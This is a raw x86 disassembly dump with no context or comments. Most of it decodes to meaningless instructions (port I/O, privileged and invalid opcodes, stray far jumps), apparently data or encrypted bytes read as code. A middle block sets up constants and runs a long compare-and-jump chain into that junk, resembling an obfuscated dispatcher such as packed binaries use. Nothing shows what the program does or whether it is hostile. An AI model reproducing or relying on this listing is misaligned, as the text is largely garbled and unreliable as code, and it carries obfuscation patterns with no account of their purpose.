stosd dword es:[edi], eax
std
std
bound eax, qword [ecx + 0x531f891b]
loop 0x67d24c3a
rol dword [ebx + 0x32963292], 1
xchg ebx, eax
sal byte [edi], 0xf6
xchg edi, eax
xor dl, byte [ebx - 0x6809c840]
dec edx
or eax, 0x90b2371a
int3
out 0xb4, eax
push ebp
jg 0x67d24cab
inc ebp
sar byte [ecx + 0x5de0994d], cl
stosd dword es:[edi], eax
xchg esi, eax
stc
fbld tbyte [esi + 0x34e84e6d]
lahf
stosb byte es:[edi], al
xchg esp, eax
cld
test dword [esi + 0x47d820b8], 0x73ec19d8
scasb al, byte es:[edi]
idiv dword [ebx - 0x4d]
idiv byte [eax]
push cs
push esp
mov edi, ebp
adc cl, ch
jecxz 0x67d24c75
add byte [esi], al
loope 0x67d24c00
int3
sbb ebx, ebx
movsb byte es:[edi], byte [esi]
aam 0x39
cmpsd dword [esi], dword es:[edi]
outsd dx, dword [esi]
cmp dword [ecx], edi
cmc
pop ecx
adc eax, 0x4e64db37
fsubr dword cs:[ebx + 0xc]
retf 0x3d0c
enter 0xffffffffffff924b, 0xffffffffffffffae
push cs
and edx, dword fs:[esi]
dec esp
adc dword [ebp + 0x279fe326], ebx
ret
ljmp 0x9037:0x3cfc5d5f
bnd jmp 0x67d250b5
xor eax, 0xaadb8d29
sub al, byte [esi + 0x71]
out dx, al
and dword [ebp + 0x1f3407ce], 0x34
mov al, byte [0x2e958022]
invalid
xor al, 0x1f
xor al, 0xa0
and al, byte [eax - 0x5f70d16b]
mov dh, 0xb0
ljmp 0x566c
mov bh, 0x6c
push esi
jne 0x67d2512d
mov al, byte [0xb29a0cb7]
cmp ah, ch
jne 0x67d25153
and bh, byte [edx - 0x40a290cd]
xchg esp, eax
add byte cs:[ecx - 0x2d], ch
pop es
stc
xchg esi, eax
lcall 0xb4e9, 0xcc9025b5
outsd dx, dword [esi]
add byte [eax], al
inc edx
add eax, dword [edi - 0x7e18f0c7]
add al, 0xc2
add esi, dword [esi + 0x59]
in eax, dx
mov gs, word [0x30afb0e2]
inc edx
bound ebp, qword [esi]
pushfd
mov esp, 0xd53b500c
jno 0x67d251cd
into
sar dh, 1
pop edi
jp 0x67d25146
fild word [eax]
and ch, byte [ecx]
pop ebx
in eax, 0x21
enter 0x323f, 0x69
ficomp word [esi - 0x50]
inc esp
cdq
adc eax, 0x67986181
jge 0x67d25229
lodsd eax, dword [esi]
pushal
add eax, 0x69f9492b
mov ah, 0x31
cmp dword [eax - 0x2a3b2517], esi
cld
js 0x67d25162
ret 0xf73
push ds
arpl word [edi - 0x25], sp
clc
retf 0xac7f
hlt
push esi
sub byte [esp + esi*4 - 0x1a10c33], 0x3d
sub dword [edx + ebp*4 - 0x34a97698], ecx
cdq
xor al, 0x12
mov eax, dword [0x1088ace0]
push edi
jne 0x67d25d7f
jae 0x67d25d65
or edi, ebp
inc eax
xchg esi, eax
adc esi, eax
or esi, dword [ebp + 0x5b]
rol dword [esi - 0xd163370], cl
arpl word [eax], ax
add byte [edi - 0x32], cl
dec edi
into
daa
inc esp
mov edx, 0x4e917837
insb byte es:[edi], dx
je 0x67d25d1d
cmp byte [edx], ah
ljmp 0x8f7e
mov esp, 0x238ef985
push 0xbbd43d74
add byte [esi + ebp - 0x674a6943], 0xf0
arpl bp, di
mov al, byte [0xe0d66277]
sub eax, 0x852b12a9
iretd
test eax, 0xcf852b12
nop
add dword [ecx], ebx
mov al, 0x82
nop
mov eax, dword [0x8c06777]
nop
movsd dword es:[edi], dword [esi]
dec edx
out 0x78, eax
invalid
adc al, 0x1e
jnp 0x67d26372
inc ecx
jge 0x67d26377
test eax, 0x314c9eb5
mov esp, 0xba843bf6
add ebp, ebx
sahf
xchg edx, eax
jo 0x67d26367
fsubr qword [edi]
stc
nop
cwde
dec edi
outsb dx, byte [esi]
les edx, [ebx]
add al, 9
jge 0x67d2638c
or al, 0x1d
pop ebx
cmpsd dword [esi], dword es:[edi]
sbb ah, byte [esi + ebp]
pushfd
and dword [edx - 0x65], edx
jb 0x67d26330
imul dword [esp + edx - 0x72]
pop ds
jnp 0x67d26358
sub al, 0x12
popfd
push ebp
outsb dx, byte [esi]
call 0x2c6ac2e6
pop edi
jmp 0x67d26380
pop ebx
xor dh, cl
sti
out dx, eax
cmp al, byte [ebx + 0x1cf12f6f]
shr dl, cl
mov dh, 0x18
mov dh, 0x18
in eax, dx
jns 0x67d26349
mov dh, 0x53
xlatb
xchg dword ds:[edx + 0x17374599], ebx
inc ebp
aaa
pop ss
nop
int3
out 0x1f, eax
cmp byte [edi], ch
add ecx, esi
xlatb
push edx
out dx, eax
ljmp 0x5830
add al, 0xe9
mov eax, dword [0x57dbeb7]
mov ebx, 0xf3d37a2
test al, 0xb4
mov byte [0x670f3d37], al
test al, 0xb4
pop esp
arpl bp, sp
test ch, cl
or byte [ebx + 0x34], bl
push 0x9b9f4dfd
mov esi, dword [eax + 0x425abd60]
xor eax, dword [eax + 0x63]
adc al, 0x32
add eax, 0xde0bfedf
jg 0x67d26916
push 9
jae 0x67d268fc
jp 0x67d269b7
mov eax, dword [0x1639fa83]
mov esp, 0x75637c66
push es
fidiv dword [esi - 0x43]
mov ebx, 0x747f3606
sub bh, 0x6f
push esi
lea ecx, [esi]
mov bl, 0x7d
push 0xffffffffffffff83
popal
int 0x79
sbb bx, word ss:[0xde889d11]
fsub qword [esi + edi - 0x6febe7a3]
int3
push esi
nop
bound esi, qword [ecx + edx*4 - 0x26]
jp 0x67d26a2a
popal
pop edi
leave
cmc
push edi
repne lodsb al, byte [esi]
bound edx, qword [ebx - 0x29f2fec9]
push eax
mov cl, 0xb
inc esp
aas
dec eax
test eax, 0x46cc90a5
mov al, byte [0x30923a7b]
push ss
and byte [edi - 0x111ea4f7], bl
pop ds
adc edx, dword [ecx + 0x4776a02a]
inc esi
cwde
inc eax
fsubr st(2)
inc esi
inc ecx
test bl, 0x25
sub dword [edx - 0x5a9b92a6], ebx
adc byte [ecx], ah
pop esi
daa
mov dh, 0xdd
xchg byte [edi], al
fnstcw word [edi]
aaa
cmp eax, 0x77058a5b
insb byte es:[edi], dx
sub eax, 0xd9efba90
push eax
add dword [ecx - 0x6f], ebp
xor dword [esi], edi
inc ebx
salc
scasd eax, dword es:[edi]
adc al, 0xf0
push ds
nop
xlatb
sahf
xchg ebx, eax
sbb eax, 0x99844a46
shr byte [eax], 0x30
xchg edx, eax
xchg edx, eax
in al, 0x70
in eax, 0x3b
stosd dword es:[edi], eax
xor dword [esi - 0x53dc5fd], 0xffffff97
nop
int3
mov eax, dword [0xba68e6de]
salc
lodsb al, byte [esi]
outsb dx, byte [esi]
ljmp 0xab29
push ebp
xor byte [ecx + ebx*2], bh
popal
push ds
jg 0x67d27501
pop ecx
ret 0xf216
int3
mov ch, 0x66
adc eax, 0xbb5b56d1
jp 0x67d27482
outsd dx, dword [esi]
popfd
out 0xb, eax
and dword [edi - 0x50c2619e], 0x384783aa
mov dh, 0xaf
pop ebp
add dl, bl
int1
enter 0x4262, 0x79
das
and eax, 0x3cab47b2
cmp byte [edi - 0x7b], ch
iretd
pop eax
das
jge 0x67d274ca
invalid
jp 0x67d27a79
out 0x3b, al
dec ecx
stosd dword es:[edi], eax
dec byte [ecx - 0xe]
jnp 0x67d27aca
dec byte [edx]
fldcw word [edx]
adc eax, 0xf95c5c1c
add ch, dl
int1
and edx, dword [ebx - 0x41]
out 0xca, eax
iretd
or edi, dword [edx + 0x1f5c26b9]
dec ebp
dec edi
adc edx, dword [eax + 0x468de9cc]
add byte [eax], al
je 0x67d27ab8
push esi
mov byte [0xe9f541f3], al
mov ebp, dword [eax - 0x41]
adc byte [ebx - 0x51], cl
cmpsb byte [esi], byte es:[edi]
popal
loop 0x67d27a70
jmp 0x7891e348
hlt
push esi
pop ebx
jns 0x67d27aa1
rcr byte [eax], cl
or byte [esi + 0x64], cl
xor eax, 0xa92ab5a4
mov bh, 0xc
dec ebp
dec ecx
mov word [esp + ebp*4 + 0x7a8a1fad], ds
push edi
invalid
xchg esi, eax
in al, 0x96
add edx, dword [edx - 0x2f]
fiadd word [edx]
jmp 0x569af3a1
invalid
pop es
xor cl, byte [eax]
inc edx
inc edi
inc ecx
rol ecx, 0x43
push 0xffffffffffffffef
cmpsb byte [esi], byte es:[edi]
adc dword [ebp + 0x643bc5d2], edx
dec ecx
mov dword [edx - 0x6e], eax
jo 0x67d2866a
ret
cwde
das
cmp cl, ch
cdq
xlatb
mov al, 0x89
fisub word [edx - 9]
stosb byte es:[edi], al
scasd eax, dword es:[edi]
mov dh, 0x1f
pop esi
sar byte [ecx + 5], cl
lodsd eax, dword [esi]
sal ebp, cl
pop ss
sbb byte [ecx], dh
xchg esp, eax
iretd
adc edi, dword [edi + 0x16]
sub dword [esi], ebx
cmpsd dword gs:[esi], dword es:[edi]
mov al, byte [0x392b1f87]
dec ecx
push cs
sub byte [ecx], al
jg 0x67d28cc9
loopne 0x67d28c10
push ss
invalid
jns 0x67d28d46
and dword [ecx - 0x44732634], ebx
sbb al, byte [edi]
sub esi, edi
sub dword [edx], esp
adc bl, byte [edx]
xchg ebx, eax
lock add byte [eax - 0x58], bl
mov cl, 0x75
adc eax, 0xefec28dc
add al, 0xbf
cld
inc ecx
popal
pushal
invalid
or dh, byte [edx + 0x7ab11101]
stosd dword es:[edi], eax
sbb byte [eax + edx - 0x3946bff4], dh
mov dword [0x284ce6ca], eax
and byte [esi], al
mov bl, byte [ebp - 0x6f69873e]
ljmp 0x46e6
fstp dword [ebx - 0x1d]
pop edx
lodsb al, byte [esi]
jo 0x67d29260
pop ds
mov bl, 3
push es
iretd
xchg ebx, eax
cmp al, 0x85
sbb dword [esi - 0x2d], ebx
inc dh
cmp al, 0x25
pushfd
sar byte [edi], cl
or eax, 0x32d899f6
pushal
push edx
ja 0x67d291fa
jne 0x67d29238
xchg byte [ebx + 0x7b], bh
leave
xchg ebx, eax
mov bh, 0xa7
scasb al, byte es:[edi]
sbb al, 0x99
cmpsb byte [esi], byte es:[edi]
enter 0xffffffffffff9c87, 9
cmpsd dword [esi], dword es:[edi]
inc esi
mov dh, 0x76
mov dh, 0x39
scasb al, byte es:[edi]
adc eax, 0xf9b12721
imul edx, dword [edx - 0x17a009e3], 0x9afdf380
pop ecx
xor ch, byte [eax - 0x51906de4]
cmp edi, ebp
jmp 0x67d292cb
shl dword [eax - 0x58], 1
xor byte [edi + 0x5f], bl
fnsave dword [0x6f2ad8fc]
xor eax, 0xb4c7e9b3
pop edi
ljmp 0xe5ab
aas
fld qword [ecx + 0x1f]
out 0xb2, al
sar byte [esp + eax - 0x52], 0x3f
cmp eax, 0x90fd10f5
int3
dec ecx
add dword [esi + 0x74a615cc], 0x653fddea
loop 0x67d2979c
wait
and al, bl
sti
salc
and ecx, esi
fsubr qword [edx]
rcl ah, cl
inc ebx
xchg edi, eax
mov edi, 0x2b54a9df
aas
int 0x1d
lodsd eax, dword [esi]
jmp 0x67d2981c
rcr byte [esi - 0x7d], 1
push ss
movsd dword es:[edi], dword [esi]
xchg edi, eax
xchg edi, eax
lds edi, [edx - 0x186a3268]
adc ebx, ebp
test byte [edx - 0x190b214d], cl
mov bl, 0x65
lcall 0xf59d, 0x67050a18
and ecx, dword [0x1b57618e]
jle 0x67d297bc
mov bh, 0xbf
mov esi, dword [esi]
xor dword [edx + 0x5bea0131], ebp
test dword [eax + ecx], 0x21c7cb59
mov al, byte [0xf7e83423]
xchg dword [ecx*2 + 0xb27b7a5], ebx
or esi, ecx
add dword [ebx], ecx
adc dl, byte [ecx]
adc ah, byte [edi + 0x108a8e5f]
push eax
adc byte [ecx], ch
int1
movsd dword es:[edi], dword [esi]
push ecx
inc edx
hlt
mov ebx, 0x488f185a
in eax, 0x69
add eax, 0x951e8d9a
xchg ecx, eax
and eax, esp
invalid
jnp 0x67d29dc9
insb byte es:[edi], dx
sbb dword [edx - 0x5ac03fb], edx
pop esp
nop
int3
lea edi, [ebx]
dec esi
in al, dx
xchg byte [eax - 0x261fae10], dh
fld xword [esi - 0x48]
dec esi
lea ebx, [edx + 0xa95493f]
push eax
loope 0x67d29e2e
pop edx
js 0x67d29e33
mov dh, 0x3b
adc dword [ebx], esi
sub ebx, ebx
xor byte [ecx - 0x5c], ch
out dx, al
imul edi, dword [ecx + 0x47], 0x639de3c4
xchg esp, eax
dec edx
jbe 0x67d29e54
jmp 0x67d29de6
cmp dword [esi + 1], ebx
loopne 0x67d29e56
and al, 0x53
ret 0x2a5
in al, 0xf5
int1
ror dword [eax + edx*4], cl
int3
enter 0x541e, 0x36
int1
xchg esi, eax
ljmp 0x886e
lea ebp, [edx]
mov dl, 0x35
push ss
lodsb al, byte [esi]
and byte [edi - 0x4650aeda], ah
test dword fs:[eax + edx], edx
invalid
mov eax, 0x88586762
ret 0x5b63
and al, 0x3d
mov al, byte [0x9be920ab]
push ecx
fidiv word [esp + esi*2]
and eax, dword [edx - 0x16]
mov ebp, 0xb0787ef5
jne 0x67d2b5f4
popfd
fsubrp st(4)
mov ecx, 0x933d350e
or edx, esp
and edi, ebx
add eax, 0x9985ea31
mov dword [eax], ebx
daa
push edx
adc al, byte [esi - 0x16]
test byte [ebx], bl
add byte [ecx*4 + 0x4fb2050f], 0x13
popal
jne 0x67d2b62c
cmc
xor ch, ch
inc eax
invalid
mov cl, 0x9a
test al, 0xa2
out 0xcb, al
neg ch
pushal
push ebx
sal dword [edx], cl
cld
invalid
pop edx
xor dword [ebx - 0x779aa7d3], 0xffffffa9
xor esp, eax
rol bl, cl
push edx
inc ebp
and byte [esi - 0x35], al
in al, 0xa7
nop
int3
lahf
invalid
nop
jmp 0x67d2c13e
nop
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x80], 0x2e4ab
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x88], 0x6634e
mov dword [ebp - 0x84], 0
mov eax, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
sub eax, dword [ebp - 0x80]
sbb edx, dword [ebp - 0x7c]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x90]
xor eax, 0xf1351
or eax, dword [ebp - 0x8c]
je 0x67d32fb9
mov edx, 0xf1351
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0xca620
or eax, dword [ebp - 0x8c]
je 0x67d300b1
mov edx, 0xca620
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0xb0204
or eax, dword [ebp - 0x8c]
je 0x67d3359a
mov edx, 0xb0204
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0xa7557
or eax, dword [ebp - 0x8c]
je 0x67d3415c
mov edx, 0xa7557
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0x9a0f3
or eax, dword [ebp - 0x8c]
je 0x67d2f4ef
mov edx, 0x9a0f3
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0x92f01
or eax, dword [ebp - 0x8c]
je 0x67d2e34c
mov edx, 0x92f01
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0x8e1aa
or eax, dword [ebp - 0x8c]
je 0x67d2cbc8
mov edx, 0x8e1aa
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0x83f51
or eax, dword [ebp - 0x8c]
je 0x67d2d78a
mov edx, 0x83f51
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0x787ef
or eax, dword [ebp - 0x8c]
je 0x67d30692
mov edx, 0x787ef
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0x66910
or eax, dword [ebp - 0x8c]
je 0x67d31254
mov edx, 0x66910
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0x57d00
or eax, dword [ebp - 0x8c]
je 0x67d2dd6b
mov edx, 0x57d00
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0x47e38
or eax, dword [ebp - 0x8c]
je 0x67d2ef0e
mov edx, 0x47e38
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0x46afd
or eax, dword [ebp - 0x8c]
je 0x67d31e16
mov edx, 0x46afd
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0x4483a
or eax, dword [ebp - 0x8c]
je 0x67d2c5e7
mov edx, 0x4483a
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0x37ea3
or eax, dword [ebp - 0x8c]
je 0x67d3473d
mov edx, 0x37ea3
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0x35f50
or eax, dword [ebp - 0x8c]
je 0x67d323f7
mov edx, 0x35f50
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0x3540f
or eax, dword [ebp - 0x8c]
je 0x67d30c73
mov edx, 0x3540f
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0x2cefe
or eax, dword [ebp - 0x8c]
je 0x67d2fad0
mov edx, 0x2cefe
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0x2a963
or eax, dword [ebp - 0x8c]
je 0x67d329d8
mov edx, 0x2a963
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0x26b05
or eax, dword [ebp - 0x8c]
je 0x67d2e92d
mov edx, 0x26b05
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0x21764
or eax, dword [ebp - 0x8c]
je 0x67d2d1a9
mov edx, 0x21764
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x67d3473a
mov eax, dword [ebp - 0x90]
xor eax, 0x130de
or eax, dword [ebp - 0x8c]
je 0x67d31835
mov eax, dword [ebp - 0x90]
xor eax, 0x13808
or eax, dword [ebp - 0x8c]
je 0x67d33b7b
jmp 0x67d3473a
salc
sar byte [ebx + 0xa], 0xb6
mov ecx, 0x324f2ff5
invalid
insd dword es:[edi], dx
inc esi
test al, 0xe6
fldl2t
and al, 0xcc
iretd
add esi, ebx
cmp ebx, dword [eax]
cmp al, byte [eax + 0x5bd85a08]
inc edx
out 0x81, al
sub al, 0xe
salc
or byte [esi + 0x70c0de9c], dl
dec ebx
dec edx
sar byte [ebp + 0x57], 0x76
xchg dword [ebx + 0x67], esp
cmp eax, 0xfb20c35b
invalid
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
dec edx
mov ch, 4
push ds
cmpsb byte [si], byte es:[di]
movsd dword es:[edi], dword [esi]
mov bh, 0x4a
inc eax
pop ebp
mov ch, bh
mov al, 0x50
js 0x67d2d78b
adc cl, bh
pop ss
ret
mov dword [edx + 0x387cf68], eax
sub eax, 0xb1d83cf9
add al, byte [ecx + 0x2e]
hlt
fist word [edx + edi*8 - 0x2e09cfe6]
mov byte [0x7984b831], al
dec eax
dec esp
lea eax, [ebx - 0x24446a4c]
push 0xfffffffffffffff1
int1
sub eax, 0x6cfeaf3f
ffreep st(2)
das
add bl, byte [edi]
dec eax
sal dword [edx - 0x13b07c8b], 0xa1
inc ecx
and dword [ecx - 0x6e], ebx
jbe 0x67d2dd80
mov al, byte [0x29c04796]
sub dword [edx - 0x52], ecx
imul edx, ecx, 0x289ab71f
lcall 0x2657, 0xeca3e29f
adc bh, al
aad 0x8f
mov dh, 0xb1
fisttp qword [ecx]
xchg byte [ecx], dl
pushfd
jbe 0x67d2dd4a
invalid
inc ebx
invalid
dec edx
push edi
pop es
aam 0x31
invalid
jp 0x67d2ef16
xor esp, dword [esi + 0x62]
sbb edx, dword [ebx - 0x60]
jno 0x67d2eedb
nop
int3
lodsd eax, dword [esi]
aaa
int1
cmc
mov ecx, dword [ecx + 0x78]
fmul dword [esi - 0xe28d0a8]
scasd eax, dword es:[edi]
and ch, byte [eax + 0x1b]
inc esi
xor dword [ebp + ebx*4 - 0x5a8252a6], ebp
popfd
pop edx
lodsd eax, dword [esi]
jge 0x67d2ee99
push ebx
mov bl, 0x53
movsb byte es:[edi], byte [esi]
invalid
sub esp, ebx
jns 0x67d2ef8a
push ebp
sbb dword [esi + ebx*2], 0xffffffda
rol dword [ebx + 0x59], 1
fcmovbe st(0), st(1)
inc ebx
pop ecx
xchg edi, eax
xor eax, 0xf794d974
loop 0x67d2eeef
fst dword [edi + esi*8 - 0x54d9321e]
stosd dword es:[edi], eax
mov word [eax + 0x4e], es
xor ah, byte [ebx + 0x1e94da25]
mov ebx, 0x8abab3ba
mov dword [ebx - 0x166a6b59], eax
xchg esp, eax
xchg edx, eax
inc edx
mov dword [0x79870206], eax
and esi, ebx
xor ebx, dword [ebp - 0x4f]
xor esi, dword [ebp - 0x164608e5]
sbb dword [esi], 0xee3b206e
fidiv word [ebx]
pop ebp
mov cl, 0x33
mov ch, 0x1b
idiv dword [ecx + 0x6e1e81e9]
and byte [ebx], bh
out dx, al
movsd dword es:[edi], dword [esi]
jb 0x67d2eef0
enter 0xffffffffffff9342, 0x4f
lock and dword [eax + 0x24999ed7], edx
jmp 0x67d2ef80
dec esp
xchg dword [edx + 0x26294515], ebx
mov ah, 0x6b
dec esp
faddp st(6)
scasd eax, dword es:[edi]
out 0xc9, al
out dx, eax
sub dword [ecx + 0x31], ebx
push esi
ja 0x67d2ef42
jo 0x67d2ef1d
mov cl, 0xde
pop ecx
xchg ebp, eax
stosb byte es:[edi], al
aam 0x66
sbb byte [edx - 0x64b0378f], bh
pushal
pop es
xor al, 0x7e
sahf
mov cl, 0x61
mov eax, 0x162695b8
invalid
inc ecx
push es
pop edi
cmp eax, 0xd47e15d6
test al, 0x8b
dec esp
inc ecx
mov edx, 0x40bbcab9
xchg byte [edi + 0x65], ah
sbb bl, byte [edi]
inc eax
daa
xchg byte ss:[ebp - 0x7427cafc], bl
xor al, bh
invalid
mov eax, dword [0xd737d2cd]
out 0x7f, al
mov dl, 0xf6
ljmp 0xa4f0
cli
jmp 0x7e064f12
fistp dword [ebp - 0x55f81a80]
sbb dword [eax], esp
leave
cmp dword [ebp - 0x6fba8e4c], ebx
int3
cmp esp, dword [edx + 0x6e]
cmp al, bl
aaa
push ss
xor esp, dword [edi + 0x3877a9a1]
mov dword [ecx + 0x68046f0e], edi
cmc
shl dword [eax - 0x3c1c8b08], cl
adc eax, 0x187a1273
or dword [ebx - 0xf01885d], eax
adc edi, dword [eax]
pushal
test dword [ecx], edx
test ch, dl
xlatb
mov cl, 6
sub edx, dword [ebx + esi*2 + 0x3b]
in eax, dx
rcl dword [ebx - 0x4af342bc], 0x93
rcl byte [esi - 0x5bf36583], cl
push cs
pushfd
aas
push 0xf947be32
salc
inc ecx
fnsave dword [ecx - 0x5a]
stosd dword es:[edi], eax
lodsb al, byte [esi]
and eax, 0xb41e84fa
mov al, 0x12
ja 0x67d30698
jmp 0x67d3067d
and eax, 0x20f3e837
cmc
dec edi
ja 0x67d30ca9
ret
add byte [eax - 0x76], dl
add dh, bl
mov ch, 0x64
add eax, 0x168b42f
invalid
cmp eax, 0x42015ca6
sbb esp, dword [esi + 0x5e53cdee]
invalid
cmp al, 0x19
sal ecx, 1
subps xmm2, xmmword [ebp + 0x32cbe60b]
call 0x42edb9ba
xchg ecx, eax
jo 0x67d3126b
jb 0x67d31212
xlatb
test dh, bl
cmpsd dword [esi], dword es:[edi]
lahf
invalid
mov eax, dword [0x1c3129bf]
aad 2
in eax, dx
adc byte ds:[ebp + 0x62172b56], al
mov dh, 0x13
mov word [edi + 0x3a664384], es
dec ecx
invalid
xor edi, dword [ecx + ebp]
push esp
or al, 0x26
stosb byte es:[edi], al
shl byte [ecx + 0x600a072f], cl
jp 0x67d317e7
push eax
cdq
pop eax
outsb dx, byte [esi]
shl bl, 1
or ah, byte [ecx - 0x1f]
adc eax, dword [0x57e4714d]
dec ebx
paddq mm3, mm5
iretd
and eax, 0x9846077d
invalid
arpl word [eax - 0x11], bp
cmp al, 0xa9
in eax, 0x3a
stc
fbld tbyte [ebx]
add eax, esi
cmp eax, 0xd98b8835
push eax
inc ebx
cmc
pushfd
adc byte [edx + 0x3cc3b47c], bh
aam 0xd1
xlatb
fmul qword [edi + 0x580e61b1]
cmpsd dword [esi], dword es:[edi]
insd dword es:[edi], dx
pop ebx
adc al, 0xe9
dec edi
add cl, al
mov byte [0x7cb5da66], al
or dword [esi - 0x2bbae0b3], edx
test eax, 0xfb9a3d15
mov bh, byte [esi + 0x20]
test byte [eax + 0x52], 0x1c
wait
imul edx, dword [edx - 0x7b], 0x13
rol byte [ecx], 1
mov edx, 0xa1a8c3b1
dec eax
imul ebp, dword [edi], 0xffffffcb
nop
int3
pop ss
cmp dword [eax + 1], ebp
leave
xchg ecx, eax
push esp
jne 0x67d32402
jae 0x67d3239c
pop ds
mov ebx, 0x24124d9d
adc dword [esi + 0x3cb51628], eax
and eax, 0xc84e49c6
cmp eax, 0x76ac281e
mov dl, 0xb8
dec edx
or eax, dword [ecx]
xor ecx, dword [esi - 0x54]
fdivr qword [ebx]
add byte [esi], dh
cmc
inc esp
xor dword [edx - 0x554ba406], esi
fisub dword [eax + 0x6f2c02df]
mov dh, 0x7c
cmp ebx, dword [edi - 0x6a]
sbb eax, 0xe50b619a
dec edx
mov ch, 0xe
mov dh, 0xa1
outsd dx, dword [esi]
add dword [ebx + 0x44c06a7a], 0xffffffe6
outsd dx, dword [esi]
invalid
sub eax, 0xfd129532
fnstenv [eax - 0x4b]
sbb al, 0x48
adc dh, byte [edi + 0x79]
dec ebx
nop
int3
adc eax, 0xd3a8a07d
mov ebx, 0x849d3a19
mov eax, 0x4f9f6db2
insd dword es:[edi], dx
lahf
dec edi
stc
add dword [ebp + 0x74], eax
sub bh, byte [edi - 0x23]
mov al, byte [0x59465797]
jae 0x67d32990
ja 0x67d3295f
or esi, ebp
insb byte es:[edi], dx
pop ecx
add dh, byte [edx + ebp]
in eax, 0x3d
cmp al, 0x68
call 0x2069ff8e
scasb al, byte es:[edi]
in al, 0xd8
js 0x67d32a2c
scasd eax, dword es:[edi]
ret 0x871c
call 0x1e96e361
pushal
and eax, 0xad2d8251
cmp bh, dh
or eax, dword [edi]
xchg dword [esi + 0x71], esp
adc byte [edi], dl
and dword [edi - 0x12], eax
neg byte [eax]
stosb byte es:[edi], al
dec esi
enter 0xffffffffffffd398, 0x54
loope 0x67d3299d
mov esp, 0x55086d50
aad 1
outsd dx, dword [esi]
sub ah, cl
push esi
fldcw word [ebx]
std
int3
cmp byte [esi], dh
push 0x2b
mov eax, dword [0xf99a6389]
pop eax
push cs
or dword [esi + 0x60cc9033], edi
mov esi, 0x60cc9033
inc ecx
xor dword [ecx - 0x5264dd11], eax
adc cl, byte [eax]
cld
loope 0x67d32a38
push edx
mov ecx, 0xa5e689e4
mov al, 0x94
or byte [ecx], dh
cmp byte [edx + ebp*2], 0xc1
lodsb al, byte [esi]
sti
adc byte [eax + esi*2 - 0x7253a464], bh
add byte [ebp + 0x75e880e3], 0x25
or dword [eax], ebx
mov edx, 0x1ac50bf
inc esi
mov ebp, 0x2f1836f0
ret
and dword [edx - 0x17fff81f], edi
stosb byte es:[edi], al
js 0x67d32fdc
dec esi
div dword [edi - 0x1cb828e5]
add dword [ebx + 1], ebx
dec eax
insd dword es:[edi], dx
or eax, 0x251d4f2e
test dword [edx - 0x25], esi
cmp dword [eax - 0x24], edi
push edi
or edi, 0x60
pushal
aas
mov al, byte [0xfd85b452]
retf
jb 0x67d335ed
mov cl, 0xec
mov byte [0x2b4840b5], al
imul edi, dword [ebx - 0x72f4305], 0xffffffe3
not esp
or dword [ecx], edi
invalid
sub ebp, dword [ebx - 0x45]
sti
mov esp, 0xf7e3f8d0
sar al, 1
jecxz 0x67d335a2
aam 9
cmp edi, eax
mov ebp, 0x7cb083eb
sbb al, byte [edi]
invalid
sal dword [edi], 0x8c
fsub dword [eax]
cmp byte [edi + 0x3e], 0xb5
jnp 0x67d335a7
stc
hlt
push ss
pushfd
